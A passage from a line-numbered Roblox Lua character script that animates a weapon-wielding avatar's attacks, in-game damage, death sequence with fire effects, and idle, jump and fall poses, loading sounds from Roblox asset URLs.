  4366. Trail.Anchored = true
  4367. Trail.CanCollide = false
  4368. Trail.BrickColor = TorsoColor
  4369. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4370. Trail.TopSurface = 0
  4371. Trail.BottomSurface = 0
  4372. Trail.formFactor = "Custom"
  4373. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4374. local ms = Instance.new("BlockMesh",Trail)
  4375. ms.Scale = Vector3.new(1,1,1)
  4376. local TM = Instance.new("CylinderMesh",Trail)
  4377. TM.Scale = Vector3.new(1,1,1)
  4378. Old = New
  4379. coroutine.wrap(function()
  4380. for i = 1,0,-0.1 do
  4381. wait()
  4382. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4383. end
  4384. Trail:remove()
  4385. end)()
  4386. coroutine.wrap(function()
  4387. for i = 1,10 do
  4388. wait()
  4389. Trail.Transparency = Trail.Transparency +0.1
  4390. end end)()end end)()
  4391. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4392. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4393. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4394. for i=0,1,0.08 do
  4395. swait()
  4396. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4397. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4398. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4399. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4400. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4401. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4402. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4403. end
  4404. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4405. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4406. for i=0,1,0.08 do
  4407. swait()
  4408. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4409. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4410. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4411. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4412. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4413. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4414. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4415. end
  4416. --dmgstop()
  4417. attack=false
  4418. con1:disconnect()
  4419. con2:disconnect()
  4420. if TrailDeb == true then
  4421. TrailDeb = false
  4422. end
  4423. end
  4424.  
  4425. function Hai()
  4426. attack=true
  4427. Humanoid.WalkSpeed=0
  4428. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4429. for i=0,1,0.1 do
  4430. swait()
  4431. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4432. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4433. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4434. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4435. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4436. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4437. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4438. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4439. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4440. end
  4441. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4442. for i=0,1,0.1 do
  4443. swait()
  4444. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4445. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4446. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4447. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4448. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4449. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4450. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4451. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4452. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4453. end
  4454. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4455. for i=0,1,0.1 do
  4456. swait()
  4457. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4458. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4459. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4460. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4461. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4462. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4463. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4464. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4465. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4466.  
  4467. end
  4468. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4469. for i=0,1,0.1 do
  4470. swait()
  4471. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4472. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4473. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4474. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4475. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4476. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4477. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4478. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4479. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4480. end
  4481. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4482. for i=0,1,0.1 do
  4483. swait()
  4484. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4485. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4486. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4487. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4488. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4489. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4490. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4491. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4492. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4493. end
  4494. --dmgstop()
  4495. Humanoid.WalkSpeed=12
  4496. attack=false
  4497. end
  4498.  
  4499. function Die()
  4500. attack=true
  4501. Footsteps:Stop()
  4502. Footsteps2:Stop()
  4503. local Fire = it("Sound",Character.Torso)
  4504. Fire.SoundId = "rbxassetid://192104941"
  4505. Fire.Looped = true
  4506. Fire.Pitch = 1
  4507. Fire.Volume = 1
  4508. local Fire2 = it("Sound",Handle2)
  4509. Fire2.SoundId = "rbxassetid://192104941"
  4510. Fire2.Looped = true
  4511. Fire2.Pitch = 1
  4512. Fire2.Volume = 1
  4513. local Fire3 = it("Sound",Handle)
  4514. Fire3.SoundId = "rbxassetid://192104941"
  4515. Fire3.Looped = true
  4516. Fire3.Pitch = 1
  4517. Fire3.Volume = 1
  4518. local Fire4 = it("Sound",handle)
  4519. Fire4.SoundId = "rbxassetid://192104941"
  4520. Fire4.Looped = true
  4521. Fire4.Pitch = 1
  4522. Fire4.Volume = 1
  4523. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4524. fire.Lifetime = NumberRange.new(0.5)
  4525. fire.Speed = NumberRange.new(1, 3)
  4526. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4527. fire.Rate = 0
  4528. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4529. fire.LightEmission = 0.6
  4530. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4531. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4532. local fire2 = Instance.new("ParticleEmitter", Handle)
  4533. fire2.Lifetime = NumberRange.new(0.5)
  4534. fire2.Speed = NumberRange.new(1, 3)
  4535. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4536. fire2.Rate = 0
  4537. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4538. fire2.LightEmission = 0.6
  4539. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4540. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4541. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4542. fire3.Lifetime = NumberRange.new(0.5)
  4543. fire3.Speed = NumberRange.new(1, 3)
  4544. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4545. fire3.Rate = 0
  4546. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4547. fire3.LightEmission = 0.6
  4548. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4549. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4550. local fire4 = Instance.new("ParticleEmitter", handle)
  4551. fire4.Lifetime = NumberRange.new(0.5)
  4552. fire4.Speed = NumberRange.new(1, 3)
  4553. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4554. fire4.Rate = 0
  4555. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4556. fire4.LightEmission = 0.6
  4557. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4558. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4559. Humanoid.WalkSpeed = 0
  4560. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4561. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4562. for i=0,1,0.08 do
  4563. swait()
  4564. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4565. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4566. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4567. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4568. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4569. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4570. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4571. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4572. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4573. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4574. end
  4575. for i=0,1,0.005 do
  4576. swait()
  4577. light.Range=15-10*i
  4578. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4579. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4580. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4581. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4582. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4583. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4584. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4585. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4586. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4587. end
  4588. light.Range=0
  4589. for i=0,1,0.01 do
  4590. swait()
  4591. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4592. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4593. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4594. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4595. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4596. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4597. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4598. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4599. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4600. end
  4601. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4602. fire.Rate = 1000
  4603. fire2.Rate = 1000
  4604. fire3.Rate = 1000
  4605. fire4.Rate = 1000
  4606. Fire:Play()
  4607. Fire2:Play()
  4608. Fire3:Play()
  4609. Fire4:Play()
  4610. for i=0,1,0.005 do
  4611. swait()
  4612. Character.Head.face.Transparency = 0+1*i
  4613. LeftArm.Transparency=0+1*i
  4614. RightArm.Transparency=0+1*i
  4615. LeftLeg.Transparency=0+1*i
  4616. RightLeg.Transparency=0+1*i
  4617. Head.Transparency=0+1*i
  4618. Torso.Transparency=0+1*i
  4619. for _,v in pairs(Character:children()) do
  4620. if v:IsA("Hat") then
  4621. v.Handle.Transparency = 0+1*i
  4622. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4623. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4624. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4625. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4626. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4627. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4628. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4629. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4630. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4631. end
  4632. end
  4633. --dmgstop()
  4634. end
  4635. Humanoid.Health = 0
  4636. end
  4637.  
  4638. equipanim()
  4639.  
  4640. local sine = 0
  4641. local change = 1
  4642. local val = 0
  4643.  
  4644. local mananum=0
  4645. while true do
  4646. swait()
  4647. sine = sine + change
  4648. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4649. local velderp=RootPart.Velocity.y
  4650. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4651. if equipped==true or equipped==false then
  4652. if Anim=="Idle" and attack==false then
  4653. idle=idle+1
  4654. else
  4655. idle=0
  4656. end
  4657. if Humanoid.Health <=20 then
  4658. if attack == false then
  4659. Humanoid.Health = math.huge
  4660. Die()
  4661. end
  4662. end
  4663. if idle>=1000 then
  4664. if attack==false then
  4665. --Sheath()
  4666. end
  4667. end
  4668. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4669. Anim="Jump"
  4670. if attack==false then
  4671. Footsteps:Stop()
  4672. Footsteps2:Stop()
  4673. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4674. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4675. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4676. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4677. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4678. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4679. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4680. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4681. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4682. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4683. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4684. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4685. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4686. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4687. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4688. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4689. end
  4690. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4691. Anim="Fall"
  4692. if attack==false then
  4693. Footsteps:Stop()
  4694. Footsteps2:Stop()
  4695. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4696. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4697. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4698. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4699. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4700. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4701. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4702. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4703. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4704. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4705. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4706. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4707. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4708. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4709. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4710. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4711. end
  4712. elseif torvel<1 and hitfloor~=nil then
  4713. Anim="Idle"
  4714. change=0.5
  4715. if idle>=1000 then
  4716. if attack==false then
  4717. Footsteps:Stop()
  4718. Footsteps2:Stop()
  4719. Humanoid.WalkSpeed=12
  4720. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4721. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4722. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4723. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4724. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4725. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4726. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4727. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4728. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4729. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4730. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4731. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4732. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4733. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4734. end
  4735. else
  4736. if attack==false then
  4737. Footsteps:Stop()
  4738. Footsteps2:Stop()
  4739. Humanoid.WalkSpeed=12
  4740. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4741. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-25-2*math.cos(sine/5.5)),math.rad(-10)),.1)
  4742. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
